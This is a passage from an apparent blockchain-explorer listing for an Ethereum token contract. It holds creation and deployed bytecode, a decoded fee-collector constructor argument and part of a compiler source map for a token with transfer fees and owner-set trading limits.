600090815260016020526040902054611286908361165c565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d79086815260200190565b60405180910390a35b600554611321906001600160a01b038381169116146112ff5783611302565b60005b6001600160a01b038716600090815260016020526040902054906116bb565b6001600160a01b03861660009081526001602052604090205561136661134784846116bb565b6001600160a01b0386166000908152600160205260409020549061165c565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113b086866116bb565b60405190815260200160405180910390a35050505050565b600081848411156113ec5760405162461bcd60e51b8152600401610594919061172b565b5060006113f98486611b59565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144a5761144a611aaa565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190611ad9565b816001815181106114da576114da611aaa565b6001600160a01b0392831660209182029290920101526012546115009130911684610c56565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611539908590600090869030904290600401611b6c565b600060405180830381600087803b15801561155357600080fd5b505af1158015611567573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008260000361158e575060006104a7565b600061159a8385611a5e565b9050826115a78583611bdd565b146115fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610594565b9392505050565b60006115fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fd565b600081831161165657826115fe565b50919050565b6000806116698385611b46565b9050838110156115fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610594565b60006115fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c8565b6000818361171e5760405162461bcd60e51b8152600401610594919061172b565b5060006113f98486611bdd565b600060208083528351808285015260005b818110156117585785810183015185820160400152820161173c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fe57600080fd5b803561179981611779565b919050565b600080604083850312156117b157600080fd5b82356117bc81611779565b946020939093013593505050565b6000806000606084860312156117df57600080fd5b83356117ea81611779565b925060208401356117fa81611779565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183457600080fd5b823567ffffffffffffffff8082111561184c57600080fd5b818501915085601f83011261186057600080fd5b8135818111156118725761187261180b565b8060051b604051601f19603f830116810181811085821117156118975761189761180b565b6040529182528482019250838101850191888311156118b557600080fd5b938501935b828510156118da576118cb8561178e565b845293850193928501926118ba565b98975050505050505050565b6000602082840312156118f857600080fd5b81356115fe81611779565b6000806040838503121561191657600080fd5b823561192181611779565b9150602083013561193181611779565b809150509250929050565b60006020828403121561194e57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a657816000190482111561198c5761198c611955565b8085161561199957918102915b93841c9390800290611970565b509250929050565b6000826119bd575060016104a7565b816119ca575060006104a7565b81600181146119e057600281146119ea57611a06565b60019150506104a7565b60ff8411156119fb576119fb611955565b50506001821b6104a7565b5060208310610133831016604e8410600b8410161715611a29575081810a6104a7565b611a33838361196b565b8060001904821115611a4757611a47611955565b029392505050565b60006115fe60ff8416836119ae565b80820281158282048414176104a7576104a7611955565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611ad257611ad2611955565b5060010190565b600060208284031215611aeb57600080fd5b81516115fe81611779565b600080600060608486031215611b0b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3657600080fd5b815180151581146115fe57600080fd5b808201808211156104a7576104a7611955565b818103818111156104a7576104a7611955565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bbc5784516001600160a01b031683529383019391830191600101611b97565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bfa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d7a5a9dca597668285cd89fb90ddc0fc82e68f45b9808a605f7c5bc36a5d98b64736f6c6343000813003300000000000000000000000050a439f008149c00afc0906a7c3df8387c51b6bf

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103c5578063bf474bed146103e5578063c9567bf9146103fb578063d34628cc14610410578063dd62ed3e14610430578063ec1f3f631461047657600080fd5b8063751039fc1461031b5780637d1db4a5146103305780638da5cb5b146103465780638f9a55c01461036e57806395d89b41146103845780639e78fb4f146103b057600080fd5b8063313ce56711610108578063313ce5671461024657806331c2d847146102625780633bbac5791461028257806351bc3c85146102bb57806370a08231146102d0578063715018a61461030657600080fd5b806306fdde031461015b578063095ea7b3146101a65780630faee56f146101d657806318160ddd146101fa57806320800a001461020f57806323b872dd1461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152601081526f09a828e82408ec2daca409edc408aa8960831b60208201525b60405161019d919061172b565b60405180910390f35b3480156101b257600080fd5b506101c66101c136600461179e565b610496565b604051901515815260200161019d565b3480156101e257600080fd5b506101ec60115481565b60405190815260200161019d565b34801561020657600080fd5b506101ec6104ad565b34801561021b57600080fd5b506102246104ce565b005b34801561023257600080fd5b506101c66102413660046117ca565b610501565b34801561025257600080fd5b506040516009815260200161019d565b34801561026e57600080fd5b5061022461027d366004611821565b61056a565b34801561028e57600080fd5b506101c661029d3660046118e6565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102c757600080fd5b50610224610609565b3480156102dc57600080fd5b506101ec6102eb3660046118e6565b6001600160a01b031660009081526001602052604090205490565b34801561031257600080fd5b50610224610658565b34801561032757600080fd5b506102246106cc565b34801561033c57600080fd5b506101ec600e5481565b34801561035257600080fd5b506000546040516001600160a01b03909116815260200161019d565b34801561037a57600080fd5b506101ec600f5481565b34801561039057600080fd5b506040805180820190915260038152624d474760e81b6020820152610190565b3480156103bc57600080fd5b5061022461077e565b3480156103d157600080fd5b506101c66103e036600461179e565b610981565b3480156103f157600080fd5b506101ec60105481565b34801561040757600080fd5b5061022461098e565b34801561041c57600080fd5b5061022461042b366004611821565b610b7d565b34801561043c57600080fd5b506101ec61044b366004611903565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048257600080fd5b5061022461049136600461193c565b610c0f565b60006104a3338484610c56565b5060015b92915050565b60006104bb6009600a611a4f565b6104c9906305f5e100611a5e565b905090565b6005546001600160a01b0316336001600160a01b0316146104ee57600080fd5b4780156104fe576104fe81610d7a565b50565b600061050e848484610db4565b610560843361055b85604051806060016040528060288152602001611c00602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c8565b610c56565b5060019392505050565b6000546001600160a01b0316331461059d5760405162461bcd60e51b815260040161059490611a75565b60405180910390fd5b60005b8151811015610605576000600460008484815181106105c1576105c1611aaa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fd81611ac0565b9150506105a0565b5050565b6005546001600160a01b0316336001600160a01b03161461062957600080fd5b3060009081526001602052604090205480156106485761064881611402565b4780156106055761060581610d7a565b6000546001600160a01b031633146106825760405162461bcd60e51b815260040161059490611a75565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f65760405162461bcd60e51b815260040161059490611a75565b6107026009600a611a4f565b610710906305f5e100611a5e565b600e5561071f6009600a611a4f565b61072d906305f5e100611a5e565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075d6009600a611a4f565b61076b906305f5e100611a5e565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161059490611a75565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f19030906107e36009600a611a4f565b61055b906305f5e100611a5e565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610844573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108689190611ad9565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611ad9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ad9565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b60006104a3338484610db4565b6000546001600160a01b031633146109b85760405162461bcd60e51b815260040161059490611a75565b601354600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610594565b6012546001600160a01b031663f305d7194730610a44816001600160a01b031660009081526001602052604090205490565b600080610a596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae69190611af6565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b639190611b24565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610ba75760405162461bcd60e51b815260040161059490611a75565b60005b815181101561060557600160046000848481518110610bcb57610bcb611aaa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0781611ac0565b915050610baa565b6005546001600160a01b0316336001600160a01b031614610c2f57600080fd5b6008548111158015610c4357506009548111155b610c4c57600080fd5b6008819055600955565b6001600160a01b038316610cb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610594565b6001600160a01b038216610d195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610594565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610605573d6000803e3d6000fd5b6001600160a01b038316610e185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610594565b6001600160a01b038216610e7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610594565b60008111610edc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610594565b6001600160a01b038316600090815260036020526040812054849060ff16158015610f2057506001600160a01b03841660009081526003602052604090205460ff16155b15611266576001600160a01b03851660009081526004602052604090205460ff16158015610f6757506001600160a01b03841660009081526004602052604090205460ff16155b610f7057600080fd5b610f9c6064610f96600a54600d5411610f8b57600654610f8f565b6008545b869061157c565b90611605565b6013549092506001600160a01b038681169116148015610fca57506012546001600160a01b03858116911614155b8015610fef57506001600160a01b03841660009081526003602052604090205460ff16155b156110d757600e548311156110465760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610594565b600f5483611069866001600160a01b031660009081526001602052604090205490565b6110739190611b46565b11156110c15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610594565b600d80549060006110d183611ac0565b91905055505b6013546001600160a01b0385811691161480156110fd57506001600160a01b0385163014155b1561112a576111276064610f96600b54600d541161111d57600754610f8f565b600954869061157c565b91505b30600090815260016020526040902054601354600160a81b900460ff1615801561116157506013546001600160a01b038681169116145b80156111765750601354600160b01b900460ff165b8015611183575060105481115b80156111925750600c54600d54115b15611230576015544311156111a75760006014555b6003601454106111f95760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610594565b6112166112118561120c84601154611647565b611647565b611402565b6014805490600061122683611ac0565b9091555050436015555b6013546001600160a01b03868116911614801561125657506001600160a01b0386163014155b156112645761126447610d7a565b505b81156112e05730600090815260016020526040902054611286908361165c565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d79086815260200190565b60405180910390a35b600554611321906001600160a01b038381169116146112ff5783611302565b60005b6001600160a01b038716600090815260016020526040902054906116bb565b6001600160a01b03861660009081526001602052604090205561136661134784846116bb565b6001600160a01b0386166000908152600160205260409020549061165c565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113b086866116bb565b60405190815260200160405180910390a35050505050565b600081848411156113ec5760405162461bcd60e51b8152600401610594919061172b565b5060006113f98486611b59565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144a5761144a611aaa565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190611ad9565b816001815181106114da576114da611aaa565b6001600160a01b0392831660209182029290920101526012546115009130911684610c56565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611539908590600090869030904290600401611b6c565b600060405180830381600087803b15801561155357600080fd5b505af1158015611567573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008260000361158e575060006104a7565b600061159a8385611a5e565b9050826115a78583611bdd565b146115fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610594565b9392505050565b60006115fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fd565b600081831161165657826115fe565b50919050565b6000806116698385611b46565b9050838110156115fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610594565b60006115fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c8565b6000818361171e5760405162461bcd60e51b8152600401610594919061172b565b5060006113f98486611bdd565b600060208083528351808285015260005b818110156117585785810183015185820160400152820161173c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fe57600080fd5b803561179981611779565b919050565b600080604083850312156117b157600080fd5b82356117bc81611779565b946020939093013593505050565b6000806000606084860312156117df57600080fd5b83356117ea81611779565b925060208401356117fa81611779565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183457600080fd5b823567ffffffffffffffff8082111561184c57600080fd5b818501915085601f83011261186057600080fd5b8135818111156118725761187261180b565b8060051b604051601f19603f830116810181811085821117156118975761189761180b565b6040529182528482019250838101850191888311156118b557600080fd5b938501935b828510156118da576118cb8561178e565b845293850193928501926118ba565b98975050505050505050565b6000602082840312156118f857600080fd5b81356115fe81611779565b6000806040838503121561191657600080fd5b823561192181611779565b9150602083013561193181611779565b809150509250929050565b60006020828403121561194e57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a657816000190482111561198c5761198c611955565b8085161561199957918102915b93841c9390800290611970565b509250929050565b6000826119bd575060016104a7565b816119ca575060006104a7565b81600181146119e057600281146119ea57611a06565b60019150506104a7565b60ff8411156119fb576119fb611955565b50506001821b6104a7565b5060208310610133831016604e8410600b8410161715611a29575081810a6104a7565b611a33838361196b565b8060001904821115611a4757611a47611955565b029392505050565b60006115fe60ff8416836119ae565b80820281158282048414176104a7576104a7611955565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611ad257611ad2611955565b5060010190565b600060208284031215611aeb57600080fd5b81516115fe81611779565b600080600060608486031215611b0b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3657600080fd5b815180151581146115fe57600080fd5b808201808211156104a7576104a7611955565b818103818111156104a7576104a7611955565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bbc5784516001600160a01b031683529383019391830191600101611b97565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bfa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d7a5a9dca597668285cd89fb90ddc0fc82e68f45b9808a605f7c5bc36a5d98b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000050a439f008149c00afc0906a7c3df8387c51b6bf

-----Decoded View---------------
Arg [0] : _taxFeeCollect (address): 0x50A439F008149C00afc0906A7c3dF8387c51B6bf

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000050a439f008149c00afc0906a7c3df8387c51b6bf


Deployed Bytecode Sourcemap

3642:8676:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5561:83;;;;;;;;;;-1:-1:-1;5631:5:0;;;;;;;;;;;;-1:-1:-1;;;5631:5:0;;;;5561:83;;;;;;;:::i;:::-;;;;;;;;6394:161;;;;;;;;;;-1:-1:-1;6394:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6394:161:0;1162:187:1;4729:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4729:51:0;1354:177:1;5838:95:0;;;;;;;;;;;;;:::i;12104:211::-;;;;;;;;;;;;;:::i;:::-;;6563:313;;;;;;;;;;-1:-1:-1;6563:313:0;;;;;:::i;:::-;;:::i;5747:83::-;;;;;;;;;;-1:-1:-1;5747:83:0;;4356:1;2139:36:1;;2127:2;2112:18;5747:83:0;1997:184:1;10476:162:0;;;;;;;;;;-1:-1:-1;10476:162:0;;;;;:::i;:::-;;:::i;10646:83::-;;;;;;;;;;-1:-1:-1;10646:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10714:7:0;10693:4;10714:7;;;:4;:7;;;;;;;;;10646:83;11745:351;;;;;;;;;;;;;:::i;5941:119::-;;;;;;;;;;-1:-1:-1;5941:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6034:18:0;6007:7;6034:18;;;:9;:18;;;;;;;5941:119;2723:148;;;;;;;;;;;;;:::i;10034:159::-;;;;;;;;;;;;;:::i;4548:53::-;;;;;;;;;;;;;;;;2509:79;;;;;;;;;;-1:-1:-1;2547:7:0;2574:6;2509:79;;-1:-1:-1;;;;;2574:6:0;;;3842:51:1;;3830:2;3815:18;2509:79:0;3696:203:1;4608:55:0;;;;;;;;;;;;;;;;5652:87;;;;;;;;;;-1:-1:-1;5724:7:0;;;;;;;;;;;;-1:-1:-1;;;5724:7:0;;;;5652:87;;11135:332;;;;;;;;;;;;;:::i;6068:167::-;;;;;;;;;;-1:-1:-1;6068:167:0;;;;;:::i;:::-;;:::i;4670:52::-;;;;;;;;;;;;;;;;10737:390;;;;;;;;;;;;;:::i;10304:164::-;;;;;;;;;;-1:-1:-1;10304:164:0;;;;;:::i;:::-;;:::i;6243:143::-;;;;;;;;;;-1:-1:-1;6243:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6351:18:0;;;6324:7;6351:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6243:143;11479:221;;;;;;;;;;-1:-1:-1;11479:221:0;;;;;:::i;:::-;;:::i;6394:161::-;6469:4;6486:39;344:10;6509:7;6518:6;6486:8;:39::i;:::-;-1:-1:-1;6543:4:0;6394:161;;;;;:::o;5838:95::-;5891:7;4411:13;4356:1;4411:2;:13;:::i;:::-;4399:25;;:9;:25;:::i;:::-;5911:14;;5838:95;:::o;12104:211::-;12167:13;;-1:-1:-1;;;;;12167:13:0;344:10;-1:-1:-1;;;;;12153:27:0;;12145:36;;;;;;12211:21;12246:12;;12243:65;;12272:24;12285:10;12272:12;:24::i;:::-;12134:181;12104:211::o;6563:313::-;6661:4;6678:36;6688:6;6696:9;6707:6;6678:9;:36::i;:::-;6725:121;6734:6;344:10;6756:89;6794:6;6756:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6756:19:0;;;;;;:11;:19;;;;;;;;344:10;6756:33;;;;;;;;;;:37;:89::i;:::-;6725:8;:121::i;:::-;-1:-1:-1;6864:4:0;6563:313;;;;;:::o;10476:162::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;;;;;;;;;10549:6:::1;10544:87;10565:6;:13;10561:1;:17;10544:87;;;10616:5;10598:4;:15;10603:6;10610:1;10603:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10598:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10598:15:0;:23;;-1:-1:-1;;10598:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10580:3;::::1;::::0;::::1;:::i;:::-;;;;10544:87;;;;10476:162:::0;:::o;11745:351::-;11809:13;;-1:-1:-1;;;;;11809:13:0;344:10;-1:-1:-1;;;;;11795:27:0;;11787:36;;;;;;11873:4;11834:20;6034:18;;;:9;:18;;;;;;11893:14;;11890:73;;11921:30;11938:12;11921:16;:30::i;:::-;11992:21;12027:12;;12024:65;;12053:24;12066:10;12053:12;:24::i;2723:148::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;2830:1:::1;2814:6:::0;;2793:40:::1;::::0;-1:-1:-1;;;;;2814:6:0;;::::1;::::0;2793:40:::1;::::0;2830:1;;2793:40:::1;2861:1;2844:19:::0;;-1:-1:-1;;;;;;2844:19:0::1;::::0;;2723:148::o;10034:159::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;4411:13:::1;4356:1;4411:2;:13;:::i;:::-;4399:25;::::0;:9:::1;:25;:::i;:::-;10087:12;:22:::0;4411:13:::1;4356:1;4411:2;:13;:::i;:::-;4399:25;::::0;:9:::1;:25;:::i;:::-;10120:14;:22:::0;10158:27:::1;4411:13;4356:1;4411:2;:13;:::i;:::-;4399:25;::::0;:9:::1;:25;:::i;:::-;10158:27;::::0;1500:25:1;;;1488:2;1473:18;10158:27:0::1;;;;;;;10034:159::o:0;11135:332::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;11189:15:::1;:80:::0;;-1:-1:-1;;;;;;11189:80:0::1;11226:42;11189:80:::0;;::::1;::::0;;;11280:58:::1;::::0;11297:4:::1;::::0;4411:13:::1;4356:1;4411:2;:13;:::i;:::-;4399:25;::::0;:9:::1;:25;:::i;11280:58::-;11383:15;;;;;;;;;-1:-1:-1::0;;;;;11383:15:0::1;-1:-1:-1::0;;;;;11383:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11365:55:0::1;;11429:4;11436:15;;;;;;;;;-1:-1:-1::0;;;;;11436:15:0::1;-1:-1:-1::0;;;;;11436:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11365:94;::::0;-1:-1:-1;;;;;;11365:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7289:15:1;;;11365:94:0::1;::::0;::::1;7271:34:1::0;7341:15;;7321:18;;;7314:43;7206:18;;11365:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11349:13;:110:::0;;-1:-1:-1;;;;;;11349:110:0::1;-1:-1:-1::0;;;;;11349:110:0;;;::::1;::::0;;;::::1;::::0;;11135:332::o;6068:167::-;6146:4;6163:42;344:10;6187:9;6198:6;6163:9;:42::i;10737:390::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;10801:11:::1;::::0;-1:-1:-1;;;10801:11:0;::::1;;;10800:12;10792:47;;;::::0;-1:-1:-1;;;10792:47:0;;7570:2:1;10792:47:0::1;::::0;::::1;7552:21:1::0;7609:2;7589:18;;;7582:30;7648:25;7628:18;;;7621:53;7691:18;;10792:47:0::1;7368:347:1::0;10792:47:0::1;10850:15;::::0;-1:-1:-1;;;;;10850:15:0::1;:31;10889:21;10920:4;10926:24;10920:4:::0;-1:-1:-1;;;;;6034:18:0;6007:7;6034:18;;;:9;:18;;;;;;;5941:119;10926:24:::1;10951:1;10953::::0;10955:7:::1;2547::::0;2574:6;-1:-1:-1;;;;;2574:6:0;;2509:79;10955:7:::1;10850:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10850:129:0;;;-1:-1:-1;;;;;8079:15:1;;;10850:129:0::1;::::0;::::1;8061:34:1::0;8111:18;;;8104:34;;;;8154:18;;;8147:34;;;;8197:18;;;8190:34;8261:15;;;8240:19;;;8233:44;10963:15:0::1;8293:19:1::0;;;8286:35;7995:19;;10850:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10997:13:0::1;::::0;11028:15:::1;::::0;10990:71:::1;::::0;-1:-1:-1;;;10990:71:0;;-1:-1:-1;;;;;11028:15:0;;::::1;10990:71;::::0;::::1;8817:51:1::0;-1:-1:-1;;8884:18:1;;;8877:34;10997:13:0;::::1;::::0;-1:-1:-1;10990:29:0::1;::::0;8790:18:1;;10990:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11072:11:0::1;:18:::0;;-1:-1:-1;;;;11101:18:0;-1:-1:-1;;;11101:18:0;;;10737:390::o;10304:164::-;2636:6;;-1:-1:-1;;;;;2636:6:0;344:10;2636:22;2628:67;;;;-1:-1:-1;;;2628:67:0;;;;;;;:::i;:::-;10378:6:::1;10373:88;10394:5;:12;10390:1;:16;10373:88;;;10445:4;10428;:14;10433:5;10439:1;10433:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10428:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10428:14:0;:21;;-1:-1:-1;;10428:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10408:3;::::1;::::0;::::1;:::i;:::-;;;;10373:88;;11479:221:::0;11554:13;;-1:-1:-1;;;;;11554:13:0;344:10;-1:-1:-1;;;;;11540:27:0;;11532:36;;;;;;11594:12;;11585:7;:21;;:47;;;;;11619:13;;11610:7;:22;;11585:47;11577:56;;;;;;11642:12;:20;;;11671:13;:21;11479:221::o;6884:335::-;-1:-1:-1;;;;;6977:19:0;;6969:68;;;;-1:-1:-1;;;6969:68:0;;9406:2:1;6969:68:0;;;9388:21:1;9445:2;9425:18;;;9418:30;9484:34;9464:18;;;9457:62;-1:-1:-1;;;9535:18:1;;;9528:34;9579:19;;6969:68:0;9204:400:1;6969:68:0;-1:-1:-1;;;;;7056:21:0;;7048:68;;;;-1:-1:-1;;;7048:68:0;;9811:2:1;7048:68:0;;;9793:21:1;9850:2;9830:18;;;9823:30;9889:34;9869:18;;;9862:62;-1:-1:-1;;;9940:18:1;;;9933:32;9982:19;;7048:68:0;9609:398:1;7048:68:0;-1:-1:-1;;;;;7127:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7179:32;;1500:25:1;;;7179:32:0;;1473:18:1;7179:32:0;;;;;;;6884:335;;;:::o;10201:95::-;10258:13;;:30;;-1:-1:-1;;;;;10258:13:0;;;;:30;;;;;10281:6;;10258:13;:30;:13;:30;10281:6;10258:13;:30;;;;;;;;;;;;;;;;;;;7227:2200;-1:-1:-1;;;;;7315:18:0;;7307:68;;;;-1:-1:-1;;;7307:68:0;;10214:2:1;7307:68:0;;;10196:21:1;10253:2;10233:18;;;10226:30;10292:34;10272:18;;;10265:62;-1:-1:-1;;;10343:18:1;;;10336:35;10388:19;;7307:68:0;10012:401:1;7307:68:0;-1:-1:-1;;;;;7394:16:0;;7386:64;;;;-1:-1:-1;;;7386:64:0;;10620:2:1;7386:64:0;;;10602:21:1;10659:2;10639:18;;;10632:30;10698:34;10678:18;;;10671:62;-1:-1:-1;;;10749:18:1;;;10742:33;10792:19;;7386:64:0;10418:399:1;7386:64:0;7478:1;7469:6;:10;7461:64;;;;